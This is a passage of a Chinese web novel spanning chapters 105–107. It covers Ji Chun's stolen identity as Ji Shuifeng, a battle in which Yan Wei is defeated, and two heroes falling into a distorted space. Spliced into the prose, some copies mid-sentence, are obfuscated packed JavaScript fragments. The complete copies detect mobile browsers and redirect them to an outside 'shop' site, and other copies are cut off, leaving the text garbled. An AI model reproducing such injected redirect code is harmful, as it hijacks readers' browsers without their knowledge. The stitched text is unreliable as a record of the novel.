;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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浑身颤抖的季纯一手拿着那枚玻璃渣,捏得满手的鲜血似乎都快感觉不到痛,一手按着季水风,那只手就一下一下,如同猛兽的爪牙,一遍一遍刺着季水风的胸口,脖子,每个能刺到的地方。 起初季水风还在尖叫、惨叫,随着季纯的疯狂,那声音也逐渐微弱下去了,直到再没有任何反应。 季纯满脸的血,墙上、床上、家具上,全是血,鲜艳的红色很快变成了绝望的黑色。 季纯醒来的时候在医院,已经不知道过了多久了,她听到医生说两个小孩的伤是致命伤,没有一个能活下来,但她确实又活过来了,只是带着浑身的伤。 季纯记不清后来发生什么了,只是觉得茫然,觉得命运就是这样。她欺负季水风很久,刚刚回心转意,想放弃母亲的爱,以后过自己的生活,既然如此,她也就没必要憎恨季水风了。 结局就是这样。 她不知道迎接她的是什么,也不知道以后的生活会如何,那一刻她只觉得,她为什么没有死? 她拔了管,拔了所有维持自己生命的东西,一次次晕倒,却都没有死。 但她想死。 这样暗无天日的时光过了很长一段时间,突然有一天,她的母亲进来告诉了她一个消息:“刚刚掌权者派人找过我,说掌权者找季水风。” 季纯并不想看她的母亲,只是冷漠地问:“所以呢?” 她的母亲突然扑到在她的病床前,死死抓住她的胳膊,眼睛瞪得大大地说:“季水风死了!” 季纯还是毫无波澜,又问了一遍:“所以呢?” 她的母亲抓她的手更紧了,眼睛瞪得眼球快要凸出来,她颤抖着说:“去文明中心,以后会好起来的,你去文明中心!以后就有救了,我也可以过上好日子了!” 季纯万分厌恶,甩开了女人的手。 女人怒吼;“你要孝顺我!” 季纯咬着牙没说话。 女人还是喊道:“连我都不孝顺,你还是人吗?!” 她说了很多难听的话,那些话扎在季纯的心里,将她的心脏划成碎块。 最后,季纯闭眼说:“好,我去文明中心,以后我们互不相欠。” 女人竟然答应了。 掌权者找季水风,但是季水风已经死了。 女人站在季纯的旁边,用只有她们两人能听到的声音,颤颤巍巍地说:“别人都不知道。从今天开始,你,你就是季水风。” 105. 第 105 章 季纯望着她,很平静地说:“这是我身为女儿为你做的最后一件事。” 她在约定的地点去了文明中心,见到了另一个和自己一起来的人,听母亲说,季水风有个弟弟叫季山月。她等待的地方只有一个男孩跟她一般大,她走过去,不确定问道:“季山月?” 对方也好奇地盯着她,说:“姐?” 季纯不知道如何应答,她很慌乱,却又压下了情绪,最后重重点头,任季山月在旁边喋喋不休也不肯再多说一句话。 两岁分别后多年相见,除了知道这天要在这里见面外,谁也不记得真正的季水风到底长什么样,连此刻高高兴兴的季山月本人也认不出。 两岁太遥远,只要在这个时间,到这个地点,率先叫出对方名字的人,就是他们本人。 但季纯并不习惯季水风这个名字,当有人呼唤季水风,她也总以为是在叫别人,恍然回神,才发现所有的目光都聚集在自己身上。 她喜欢照镜子,看着镜子里熟悉的脸,一遍一遍对自己重复道:“你是季水风,你是季水风,你是一个坚强的人。” 她可是季水风啊。 黄沙呼啸,那暴风依然在漫天吹卷着,如同巨大的眼睛,直视这里的一切生灵。 言威缓慢说:“季川泽叫你们来文明中心,可惜他收金纸让太多不合格的人去接受进化,这件事,还是他的妻子告发的,我也只能让他去监狱了。身位掌权者,代替他的遗孀接管他的孩子,是我的责任。”说完他还笑了一声。 不信因果在自己身上,但能看到别人身上的因果。季川泽一辈子出轨无数,背叛妻子背叛孩子,最后由妻子毁了他的后半生,他的孩子夺取他的生命,最后连找的孩子都是假的。 季山月踉跄了一步,没站稳坐了下来。他的眼睛通红,眼里全是眼泪,却不知道是憎恨还是别的什么。他的手也在颤抖,全身都在颤栗着。 他不知道这些事,但是好像隐隐又知道一些,这样一来,当年她所有的怪异行为都解释得通了。 难怪……难怪那个人写下的“杀死不纯之人”,他一直以为是什么…… 季山月重重一拳直接砸进地里。 他无法接受,但是一时又说不清无法接受的是什么?是自己爱着的人并不是一开始那个人?还是无法接受自己爱着人有这段过往? 一时间季山月的情绪无比紊乱,紊乱到身体又开始出现了痉挛的反应。 “季山月!”沉皑低吼道,“别被带进去了!” 也许不是置身事内那个人,沉皑很快便反应过来了,他朝季山月说:“也许现在的季水风不是和你同一个父母的季水风,但是她才是真实陪了你二十多年的人!季纯才是对你好、事事向着你,和我们一起走了那么远的人!” “我知道!”季山月也崩溃吼出来,他的声音里都是呜咽,是不甘,是混乱的思绪,他大喊,“我知道!我知道!但是,但是,如果是季水风,她也会对我好!也会陪我二十多年!可是,可是她没有机会啊!季纯,季纯剥夺了她的权利啊!” 他突然大哭出来,嚎得整个旷野都是他的声音。 而且无论如何,不管是季水风还是季纯,他现在都失去了。 他没有办法否认季纯做的一切,却也没有办法肯定她做的一切。成年后的季纯太好了,也许是愧疚于心,她是全世界最好的人,是温柔的姐姐,安全管理中心的好领导,是所有的阳光。 好像她的死亡都是整个世界的损失,但是她的成长却是建立在剥夺了另一个人的人生上。 就像一个博弈中的死结,永远找不到对错平衡了。 怪不得,另一个人格的季山月说她无法通过悔恨幻境,她怎么可能活着离开? 沉皑原本还想说点什么,但他突然被怀里的人扯了下衣角,他低头,看到闭眼、满脸血的时咎轻轻摇了下头。最终,沉皑什么都没再说。 季山月的恸哭来得像山洪暴发,也许是过于悲怆,连言威一时间也没有打断他,只是冷漠看着崩溃的人。 但很快,季山月的痛哭哀嚎变成了狂妄的大笑,那哭声与笑声纠缠在一起,分辨不出来是何种情绪,只让人觉得癫狂。 季山月身上的伤也很重,他扭着身体不自然地站起来,用衣服擦了一把眼泪,那泪水混着血水,在衣服上留下一道深色的污渍。 但沉皑抬头看到他的一瞬间,心里猛然一跳。 季山月又变回去了。 他站着大笑,脸上因为刚刚的大哭还呈现着粉红,眼眶也是红的,泪痕也没有被完全抹去,就是这样一张脸,眼神里却是张狂的笑意。 他大声说话,吸着鼻涕,声音里甚至都还有哭腔:“这有什么好哭的!我一知道这件事,就知道要做什么了,我才不会优柔寡断嘿嘿!” 沉皑立刻心下道不好! 果然季山月想继续刚刚对沉皑的致命一击,就在这极短的距离里,他似乎耗尽所有的体能,就为了一次性让地上的人死个痛快。 他大叫着飞扑过来,那一拳攻击的力道,足以让一个人穿肠破肚,带着满脸的眼泪与戾气,季山月在冲过来想要杀死沉皑的一瞬间又被毫无征兆地弹开了。 “轰——!!!” 如同核弹爆炸般,以沉皑和时咎为中心,突然爆炸出一个几乎直径百米的轰炸圈,那爆炸瞬间卷起土地上所有轻物质向天空,又在半空中进行了二次爆炸。 谁也没料到这突如其来的爆发式攻击,言威立刻使用自己的能力挡住,但还是被爆炸爆破到往后退了好几步险些飞出去,季山月则被弹飞很远,他的身体直接接触到半空中的爆炸后,重重地摔在几十米外,挣扎了一下,喷出一大口血,起不来了。 时咎轻轻笑了下,等的就是他来攻击沉皑。 他的控梦无法对自己起效,但却对沉皑有用。 爆炸圈中央,沉皑也愣了一瞬间,随后他听到怀里的人闭着眼,有气无力地说了句:“酷吗?”说完又猛咳出来。 这是…… 他立刻拍拍时咎的背,有点无奈,这种时候还要问酷吗,这个人真是不到黄河心不死。 他微微埋头低声说:“很酷,我的大艺术家。” 没看到真是可惜了。 浓烟散去,言威摇晃着从地上站起来,心想还好曾经夺取过防御型能力,不至于尸骨无存。 言威注视着沉皑怀里的血人,露出欣喜的笑容。 之前一直不太清楚这个人的能力,光是道听途说,就已经有好几种,恩德诺从来没出现过这种综合性能力者,如果真的存在,绝对是超过这颗星球上所有人的能力,包括他自己。 这种人,如果不能为自己做事,只能抹杀掉。 言威的速度很快,他轻轻将手按在地上,土地开始无声松动起来。 在沉皑眼里,他清晰地看到土地开始裂开条纹,而那裂缝正以急速朝自己袭击过来。 沉皑直接抱起时咎就躲,然而裂隙像长了眼睛一眼穷追不舍,奔逃里,言威冲过来,朝着躲闪不及的沉皑便一记猛踢出去。 沉皑只感觉一口几乎吐出了内脏的血,随即时咎从他手里滑落出去。 毫无胜算,刚刚打的消耗太多。若是满状态,也许还能在跟言威的战斗里拼全力一搏,但现在是绝对的日暮途穷、走投无路。 时咎摔在地上,他感觉很疼,他想着自己站起来,但总是无法,那种痛楚深刻地淹没着他。 不远处的沉皑趴在地上,眼看着言威走到了时咎身边,他感觉自己动不了了,但是还是艰难地用胳膊撑着身体,死死咬着牙往时咎的地方爬,每爬一步,半空中堆叠的能量就多一些,逐渐汇聚成巨大的天空。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14336025|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他艰难地自语:“不……” 他想,我可以代替时咎。 但他在言威眼里是一个没有能力的人,在这种时候注定对他不感兴趣。 时咎听不到停在自己旁边的脚步声,但他感觉到了自己的头突然被一只手狠狠抓住了,像要掀飞他的天灵盖一样。 想吸收能力,可时咎没有所谓能力。 沉皑企图叫出声,但是他痛苦得张不开嘴,只能让那些无形的能量与磁场全部朝时咎汹涌围去。 他可以让自己不着寸缕,毫无保护,但他所有的能力也一定要护住时咎。 他有时候会觉得自己的能力一无是处,除了感知,好像什么也做不到,即使他能感知万物,感知磁场频率,但在真正的生死殊斗里,似乎也起不了太大作用。后来发现不是这样,因为他在多年前确实用这股能量保护了一个几岁的小孩,又在多年后,用这能力吸收掉了劈到时咎头上的雷电。 他并不太清楚原理,也不清楚它运行的具体规则,只是千钧一发的时候,便用出来了,偶尔他会觉得他和时咎很像。 只是有了前车之鉴,他知道至少这股能量可以保护住他想保护的人。 言威吞噬着时咎的能力,他的手掌里出现了无数条线条,而他的表情是期待,他很想知道有了时咎的能力后,他会有多强。 他脸上的笑容遮盖不住,连吸收能力的手也兴奋得微微颤抖。 片刻,言威站起来,但是他站起来的一瞬间,脸上的期待尽数褪去,换成了恐慌。 “这,我为什么我吸收不了你的能力?!”言威吼出来。 时咎没说话,只能心想,因为这不是你们理解的能力。 这个世界上只有两个人知道他的来历,一个是身后爱的人,一个是另一边已经离世的人。 言威似乎对这完全不敢相信,他原地踱步好几圈,好像开始怀疑自己的能力,甚至重新尝试对时咎能力的剥夺,却都失败了。 随后,时咎淡淡笑了一声。他本来想爬起来,但是浑身的疼痛让他此刻只是保持意识还在已经是最大的努力了,他起不来。 言威的不可置信没有持续多久,他很快平静下来,脸色也阴沉下来,冷笑一声说:“那你就去死吧。” 他手里凝聚的光刹那膨胀成光球,又幻化成光剑,毫不犹豫地朝着时咎刺去。 时咎只觉得自己的胸膛被刺穿。 “啊啊啊啊——!!!” 四周风云色变。 时咎听到了惨叫,却听不出来是谁的惨叫,也不知道是不是自己的声音,好像……好像是很多人的声音,还有沉皑的。 他没有感觉到疼痛。 天空的黄沙被土地瞬间倒影成深红色,像摇摇欲坠的血色,四面的土地毫无征兆地崩裂。 就在这一刹,言威抬头,看到他未曾想过的不可思议的一幕—— 天上的黄沙消失了,取而代之的是如同极光一样满天的流动能量,那些光五彩缤纷,像凝聚了所有星光的光芒,布满目所能及的整片天穹,震撼雄伟、宏大伟岸,又在下一秒全部凝结在时咎的上空。 “轰”的一声。 那些光像长出了躯干,化出了人形,从遥远的天际滚滚而来,降落的一瞬间,时咎的身体腾空而起,被那光凝成的巨人托到了半空。 时咎闭眼,只能感受到无数爱恨交织的情绪,是奋不顾身,是勇气,是决心。 随后,言威被这阵刺眼的光芒震慑出去。 时咎倒在沉皑身后不动了,他的身上全是血,胸口一个巨大的窟窿,但那些光围着他,血又以极慢的速度渐渐褪去——它们好像在修复时咎的伤口。 另一边前合后偃爬起来的言威一瘸一拐站起来,往前走了几步,他看着被光护到沉皑身后的时咎,好像突然明白了什么,想起了什么。 106. 第 106 章 几年前的山林,他曾经见过这种漫天像极光一样的东西,当时他在追杀沉皑的路上。 不,不是追杀,只是希望他回心转意,成为自己的得力助手,以后也可以成为掌权者——他不是从小就想成为掌权者吗?只是悠悠岁月让他模糊了自己目标,沉皑不仅反悔,并且出逃了,就像他从沉家出逃一样。 不仅如此,他还收养了一个孩子,那只是一个普通的孩子,对沉皑没有任何好处,但沉皑依然义无反顾地保护他,所以言威觉得,连同这个孩子也要一起剿杀。 于是他便在那个晚上见到了和现在同样的光,只是那些极光来得快去得快,好像只是汽车行驶过的远光灯,自己也并未在意,在他彻底抓住沉皑的时候,他们身边什么都没有。 那个孩子消失了,言威寻找了一段时间,最后也没有找到,想着也活不了。 此刻他看着时咎身上缓慢愈合的伤口,心道那个孩子多半还能活着,只是现在都不重要了,重要的是—— 沉皑有能力。 而他从来没有泄露过半分! 他竟然是有能力的! 言威感觉到自己的心跳也快起来,唇不受控颤抖。 这是修复吗?疗愈吗?无论如何,不是一件坏事。 言威慢慢走到奄奄一息的沉皑身边,蹲下,轻轻拍了拍他的肩说:“你从来没有告诉过我。” 沉皑的手突然抓紧,抓了一手的红土。 痛不欲生。 时咎只感受到浑身有一股暖流,慢慢地从他的身体流过,那暖流让他感觉不到痛,让他觉得被包容,似乎是沉皑所有的用心都在此刻聚集在他身上。 是一种特别舒心的感觉,好像劳累了一天回到家,打开门便落入最爱之人的怀抱;好像看到一群最好的朋友合力救治了一只路边的小狗;好像看到家徒四壁的悲伤人凭自己的努力得到了救赎…… 但他睁开眼,看到的却是最不想看到的一幕。 言威的手抓着沉皑的头,那千丝万缕的线条连接着两个人。 时咎不知道自己哪里来的力气爆发出一声狂吼,然后他看到言威站起来。 不想要沉皑再失去了。 时咎咬着牙慢慢朝昏迷的沉皑爬过去,最终在能碰到他的地方停下,用尽全身的力气伸手去与他的手握在一起。 言威踉跄一步,轻蔑地露出一个微笑,手里的光剑再次聚集起来,神情又逐渐冷漠下去:“恩德诺不会记得你们的。” 那光剑劈下来的时候,时咎在想:我可以代替沉皑。 黄沙再次席卷而来,带着呼喊。 同呼啸声一起来的,还有一个少女的身影,以及远处忽然迸发的结界,那结界在时咎眼里被放大。 光剑直直插入红土地,言威顿感到眼前爆发出一阵刺眼的光芒。 那光以他们为圆心迅速蔓延开,照彻整个坟场。 言威被闪得眼前失明一瞬,等光芒褪去,他再能看清东西的时候,却惊愕发现,他剑下刺入的地方空无一物。 沉皑和时咎都不见了。 言威脸色微变,他站直身体,目光阴戾地扫过这一片红土地,这里因刚刚的打斗,地势凹凸不平,血迹扭曲着随处可见。 没人能主动从教化所逃离。 言威冷哼一下,正要转身,却一愣,他看到自己皮肤上不知道什么时候多出来奇怪的色彩。 那些色彩最开始像流光一样在他皮肤上缓缓流动,后来越来越快,最后发展成横冲直撞。起初他还淡然,心想这可能是沉皑的能力,正欣赏,然而没过多久,他的表情逐渐出现裂痕,他开始像站不稳一样左右摇晃,双腿也支撑不住自己的重量开始胡乱画圈,如同一个不胜杯杓的人。 流光如同有意识般在他身体内逃窜,逐渐的,他的身体失去了控制,刚刚吸收到的能力与他的身体产生了排异反应。言威惊觉这是不可能的,但那些能量在体内狼奔豕突,撞得他一大口血吐出来。 这是,这是怎么回事?为什么沉皑的能力在他体内会这样? 言威浑身发抖,他感觉自己的生命在消逝,在被新的能力消耗,他不受控制地一下跪在地上,头昏眼花,意识模糊不清。 五脏六腑都要炸裂了,为什么?沉皑的能力到底是什么?怎么会这样?好像马上就要死了。 远处的言不恩快速奔跑过来,却逐渐放慢脚步愣在这群人的中间:言威在地上挣扎,如同水鬼缠身;不远处是小时候的季水风的尸体,已经完全惨白;再远一点,是躺在地上的季纯,毫无动静。 “言……”言威刚喊出一个字,又被体内的能量冲了回去,喷出一口血。 言不恩立刻跑过去大喊出来:“怎么回事!怎么回事啊!” 她扶起言威,言威则痛苦地说:“我不知道,言不恩,你好好的,好好的。” 言不恩大喊:“不要!” 言威紧握着她的胳膊说:“我只有你了,我,一直,爱你。” 却在言威说出这句话的霎那,言威感觉自己体内涌动的能量平息了,那股马上就要夺取自己性命的能力安静下来。 言威瞬间清醒过来。 他趄趄趔趔地站起来,环顾四周。 断壁颓垣、鲜血横流,地上躺的却都是他一手带大的孩子。 他的嘴唇不住的颤抖着,晃眼看到言不恩,便猛地扑了过去,声音抖着对她说:“杀了我,杀了我,快,杀了我!!” 言不恩的眼泪一下就流出来,她不明白言威的意思。 言威的声音说到后面近乎祈求,他一直在重复:“杀了我,杀了我就好了!不要让我变回那个样子!” “杀了我!!杀了我!!!”言威几乎是嘶吼出来。 “父亲!”言不恩哭着大喊。 但言威还是盯着言不恩,眼睛里充满红血丝,他说:“杀了我,然后杀了……” 言威突然使出全身的力气压低了声音,颤抖的音色在言不恩耳边轻轻说出一个名字。 言不恩开始尖叫。 一个小球突然在眼前炸裂开来,紧接着小球变成一个更大的球,那些球体一个个落下,分别落在每个人的身上。 旷野中,一双布满老茧的手紧紧握着少女的手,但少女大哭着躲开,她三两步走到另一个长眠的少女身边,跪着轻轻将她抱起来,呜咽着说:“为什么?你从来都不爱我,没有给过我关心,你的心里只有公民,后来连公民都没有。”她对着另一边的人说。 言威恍惚坐在地上,看着将自己包裹住的结界:“不,我爱我的公民,但是……”后面的话他没有再说出来。 言不恩抱着怀里的人,一遍遍摸着她的头发,泣不成声。 她说:“我的结界,为什么会变成坟场?会有幻境?” “是谁?谁在我的结界里放了幻境?你让我放结界的时候,什么都没有告诉我!!” 言威没说话。 言不恩只感觉自己的世界已经坠毁了,她最爱的人,死在她的结界里了。 半晌,言威才收敛起情绪,压着声音说:“我有愧。” 那些都不是他做的,他有愧。因为在这几十年里,他又确实做了这些。 唯有死才可以摆脱。 他仰头长叹一口气,觉得这几十年的一切都要有个了结,他要给文明所有公民一个交代,然后成为一个历史的罪人。 他举起手,凝聚的光剑要刺穿自己的心脏,却每次只差一毫米时便停住了。 还是这样。他无法做到,他的潜意识禁止了这个行为。 死是最容易的事,如果可以用死来摆脱罪恶,一切早就结束了。 无尽的黄沙,无尽的痛苦。 言不恩一个人坐在她自己的结界里,怀里抱着一个死去的人,坐了很久、很久。 最后她和她怀里的人,也消失在黄沙里。 蘑菇山弥漫十多年的浓雾消失了。 言不恩选择将一具小小的身体埋在自家公园,她们曾经最爱呆的湖边。 老宅。 流淌的空气中,柔和的音乐播放着,像极了几十年前的录音带播放着什么,带着时有时无的卡顿与切掉的高低频,安神熏香的烟袅袅摇晃,若不是白色的墙此时沾染了些许血色,风景还算悠然。 间隔一会儿,咳嗽声就会响起。 女人接了新茶,往小木桌上棕色陶瓷杯里缓缓倾倒,动作惬意得像无事发生,除去小木桌上放着的牌位,也许这一切都更加和谐。 牌位是刚刚拿出来的,上面赫然写着言霏的名字。 言威一直看着她,如同过去的几十年。 但不知道是从哪一年开始,这身影里的气味发生了改变,而他全然无察觉,真正等到他意识到这一切如脱缰野马奔腾远去时,又什么都无法挽回,只能被推着一小步一小步走向深渊。 夏癸问他要尝试一点新茶叶吗? 言威没有回答,他想通过思维连接去知晓面前这个女人心里所想,却只能连接到一个虚无的通道,那是反起源进化的特殊通道。 熏香的味道浓郁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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言威颤抖的双唇与瞪得发干的眼睛扫视在夏癸身上,如果他曾经吸收过类似眼刀的能力,夏癸此刻将万箭穿心,然而她现在却是怡然自得地坐着,轻声说:“你没有选择了。” 言威压着情绪问:“你想要做什么?” “我想啊……”夏癸话说一半,她的目光柔和移到了桌子的牌位上,随后垂眸,“在你死后,如果有一个人愿意在所不辞完成你的心愿,你也会感动吧?” 言威的脸部皮肤抽动一下,说:“你想做掌权者,我可以让你做。” “不。”夏癸却是直接否决,她叹气,“你不懂吗?你已经没有选择了,才会说出这样的话,如果你有选择,你会这样说吗?” 当下的任何选择,都是利益最大化的选择,已经退步到允许她做掌权者,说明他已经退无可退。 言威铁青着脸,最后只能深深叹气。 “你跟我认识你的时候,完全不一样了。”言威闭眼无力说。 夏癸不觉得:“一样,是你没关注。” “对不起。” “不需要。” 凝固的沉默,夏癸最终还是笑出来:“他已经死了,没办法重新当上掌权者了,不过我和我女儿还可以。” 言威看她一眼,下撇的嘴角让他说不出话。 时钟的节奏摆动得令人昏昏欲睡,没多久言威就觉得发自心底的放松起来,他的心很快陷入混乱,有些记不起刚刚他们是在讨论什么。 “砰”一声,茶室的门被重重推开,两道目光同时聚集在动静中央,只见言不恩站在那里,通红的脸和眼睛在那张有着刀疤的脸上显得狰狞。她已经知道这是怎么回事了,只是她从未想过事实是那样,更未想过参与的人是她的母亲。这次她难得没哭,只用眼睛直勾勾看着里面两个熟悉又陌生的人。 半晌,夏癸站起来走到她身边,伸手摸她的头,说:“你的爷爷和父亲,为你争取了以后的权力。” 言不恩打开了她的手,咬着牙说:“我不要那种权力。” “你以后会懂的。” “我不会懂的!!” 推门而入后,破门而出。 夏癸脸上浅浅的笑意一直未褪去,她说:“你得抓紧时间。” 言威并未在意在她的提醒,只是淡淡问:“言不恩是谁的女儿?” 夏癸笑:“我的。” 言威闭上眼,将胸腔里的浊气重重吐出,他好像终于明白为什么当年自己逼退言霏,让他自行离去之后,她伤心低迷了那么久,原本以为只是不合时宜的抑郁发作,随着小时候沉皑和季家姐弟的到来又逐渐好转,原来是他错过了太多可能,而他从未关注过。 命运啊。 那些望眼欲穿的过往,悲欢离合、爱恨情深,都只是文明的一粒微尘,时间翻过的最普通的一页。 107. 第 107 章 沉皑的意识坠入梦境。他好像在往下沉,永无止尽地往下沉。在这片没有底的深海里,黑暗如同漩涡一样将他包裹着,他看到了自己过去的种种。 看到曾经他也是个几岁的小孩子,还在幻想有朝一日也能成为像言威一样有爱、有威严有能力的掌权者,真正的为文明带来福祉,虽然总是被说没有能力,上限不高,但他还是为此努力着; 看到小时候最喜欢的哥哥对他撒谎,骗他两年,他痛苦地在黄土地上崩溃大哭、黯然失神,最后又破釜沉舟般重新站起来。 他像那个哥哥还在时一样,常常一个人坐在公园里看星空,听风声、听虫鸣鸟叫、听树叶沙沙,感受雨点打在身上,感受太阳与月亮,也感受万物,在孤独至极的时候,他的朋友只有自然,日复一日的远望里,他听到了宇宙的声音,发现自己与世界有了链接; 从那时起,他发现自己有了能力,这件事他不想告诉任何人,好像这样就可以守住公园深处的秘密; 他看到自己在快成年时偷听到言威与单赫的对话,知道公民把选举掌权者的权力交给了掌权者本人,随即而来的便单赫的金纸,堆成山的金纸,但太多的货币对他们来说有什么用?原来是钱权的交易。 看到言霏提及反起源进化,言威再次与单赫谈论高层取消思维透明化的事; 他在那个时候突然明白了沉家两百年前的选择; 权力是深埋人心的恶果,哪怕只是微小的权力,并不是每个人都可以用内心的信念真正做到为文明带来福祉; 他看到自己决定放弃掌权者,看到与言威大吵一架,他说他离开沉家并不是为了这些; 也看到自己的逃离的那段时间无意捡起一个弃婴,看小婴儿可怜,生了悲悯之心,便带走了; 看着自己思索很久不知道要给小婴儿取什么名字,恍然间想起快二十年前的那个少年,那个已经埋在记忆里堆满树叶的公园。那个人从来没有说过他的真名,只说他叫小久。 沉皑便给这个婴儿取名叫小久。 长长久久,总会遇见。 命运总有他最精妙的安排。 “轰——” 庞然大物坠入海底。 沉皑感觉到自己在一片温和的涟漪里随波逐流,身体的疼痛也消失不见了,取而代之的是环抱着他腰的手。 好像是时咎的气息。 耳边有风声,熟悉的下坠,在一片圹埌里徐徐前行。 时咎在带着他瞬移,但明明他们在一起,时咎会瞬移去哪里? “沉皑?沉皑?”时咎的声音在耳边荡开。 似乎是灵魂归体,沉皑猛然睁眼,意识瞬时回到大脑,他翻身迅速坐起来,第一眼便是时咎担忧的表情。 下坠似乎是很久以前的事了。 时咎扶住沉皑,让他站起来,沉皑一动,立刻发现自己身上没有伤口了,明明刚刚跟言威和季山月有了那么激烈的大战,现在却一点痛楚都没有。 他立刻去看时咎,发现对方也是毫发无伤。 “这是……”沉皑刚开口,时咎便一把抱住他。 温热的气息吐在皮肤上,时咎松了口气:“还好你没事。” 沉皑顿了一下,立刻抬手安慰般轻抚他的背,柔和说:“别担心。” 简单的拥抱后两人松开,时咎的表情终于严肃起来,他朝沉皑示意四周。 刚刚坠入这个地方他就已经在想了。 这是哪里? 一个扭曲的空间,分不清他们在的地方是地面还是半空,找不到任何参照物。 之所以说它是扭曲空间,是因为周围都浮满了扭曲的微光,微光里有什么在跳动,好像小时候电视出错、马上就要雪花屏前的短路画面。 有些像他们在幻境里那个纯黑意识空间里,但这里不一样的是,这些跳动的画面不是他们记忆里的任何场景。 时咎回忆起刚刚,在言威的光剑刺下来的时候,他满脑子想的都是保护沉皑,沉皑没有能力了,只能靠他。 抱着这样的心态,他用最后一丝力气去抱住沉皑,想无论是□□还是控梦,护住他就好了。但想象中的剧痛没有来临,反而是熟悉的失重感。 他应该是带着沉皑瞬移了,但不应该,他自我意识的瞬移只能瞬移到沉皑身边,就连唯一一次两人瞬移也是因为沉皑的意识,但当下,沉皑还在昏迷里。 穿越无尽的黑色隧道,下坠中,时咎看到了那辆黄粱一梦,只一眼,半迷茫状态下的时咎霎时醒来。 他真的看到那辆列车了,第三视角看到那辆飞驰而过的列车,列车里幽黄的灯光,里面并没有人,围绕着列车的是那些奇形怪状的扭曲微光,正是充斥着这整个空间的扭曲。 好像时间在静止,时咎一只手环抱沉皑,另一只手想伸出去捕捉那辆车,却抓了个空。 直到这里。 一到这里,他便发现自己和沉皑身上的伤口没有了,因为浑身毫无疼痛。 沉皑的表情很快冷静,目光扫过周围一切,最终与时咎视线交接。 时咎朝他嗤笑一声:“自从遇到你,我这辈子的经历可以说是相当精彩。” 不是在迷惑,就是在迷惑的路上,反正就是搞不清楚状况。 沉皑见他表情戾气,有点无奈,他牵住时咎的手抬起,在他的手背轻轻吻了一下,时咎立刻回过神,平静下来。 他们好像瞬移掉入了什么奇怪的地方。这里没有声音,只有扭曲的、雪花屏般的画面萦绕四周,不仅是四周,还有高空与下方。 如同宏大的宇宙,尽管所有东西都像参照物,但它们毫无规律的放置,反而所有东西都失去参照物的价值。 时咎用目光询问沉皑,后者则微微点头。 这次是自发式的瞬移,或许不是在幻境里,但反而更令人警惕,幻境尚有解,若连幻境都不是,他们要怎么出去? 两人并肩往前走着,每一步都踏在虚空里,好像有一层无形的地板,若是脚步用力,又可以深陷往下走,抬腿也可以往上,所以他们分不清此时是在往上还是往什么方向移动,好像走的每一步都是任何方向。 远处看不清的扭曲物,像极了宇宙深处漂泊的星系。 想到之前幻境里的经历,时咎拉着沉皑,朝离他们最近的一个扭曲画面走去。 这里空旷而安静,然而等他们路过其中一个扭曲画面,耳边突然传来了声音。 ——“这个时空壶不会自动返回永恒时空,它会一直留在一般时空等你们[17]。” 如此割裂的对话与用词,两人同时顿住脚步,时咎惊悚猛回头,却只发现四周依然一成不变,黑暗还是黑暗,扭曲的景象还是在各自的位置上扭曲。 时咎屏住呼吸:“你听到声音了吗?” 沉皑轻点头:“嗯。” 时咎立刻往后退了几步,退到耳边再无声音,他朝站在原地的沉皑摇摇头,接着又往刚刚所在的地方走去,耳边再次传来声音,这次没有人说话,而是轻微的风声与鸟鸣。 沉皑也想到了什么,立刻紧握住时咎的手腕,大步朝下一个扭曲物走过去。 求证般,两人行走的速度都很快,那看似近在咫尺的扭曲物却相隔甚远,脚步如同踏在剧烈的心跳上。 又是一个扭曲物,这里的雪花似乎比上一个清晰,隐隐约约看到里面两个人促膝而谈,然而只有等他们靠近那里,扭曲物里的声音才传达出来。 ——“我看见你们当中对自由怀着最强热情的人,他们把自由像枷锁那样戴在自己的脖子上。” ——“只有当你们不再把自由谈论为你们追寻的目标和成就时,你们才能成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376334|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为自由人[18]。” 下一个扭曲物里: ——“不相信什么?” ——“不相信雷奥里亚诺·布恩迪亚上校发动了三十二场内战但全部失利。” 时咎顿住脚步,他的表情有些怪异。 “怎么了?”沉皑见他脸色有异。 奇怪,太奇怪了。 时咎站在原地没动,他紧握着沉皑的手,眼睛盯着这团扭曲物,喃喃自语般说:“不相信军队包围人群并开枪……” 沉皑皱眉:“什么?” 下一秒,这个扭曲物里继续传来声音。 ——“不相信军队包围人群并开枪杀掉三千工人,然后把尸装上两百节车厢的火车丢进大海。” 沉皑的表情诧异了一瞬,时咎却是神色一凛,迅速拉着沉皑往下一个扭曲物飞奔。 狂奔中,时咎气息不匀地说:“我醒来的世界里,有一本小说,叫《百年孤独》。” 沉皑没说话,听时咎继续说道:“刚刚那两句话,就是这本书里的内容。” 沉皑立刻反应过来,他眉心一跳。 这些扭曲的画面里,是正在发生的故事,不仅是现实的故事,还有小说的故事。 来到下一个扭曲物前,时咎喘着气,飞快靠近它。 他不确定,但是如果这些扭曲物,是时时刻刻正在发生的每一件事,那这里会是什么地方? 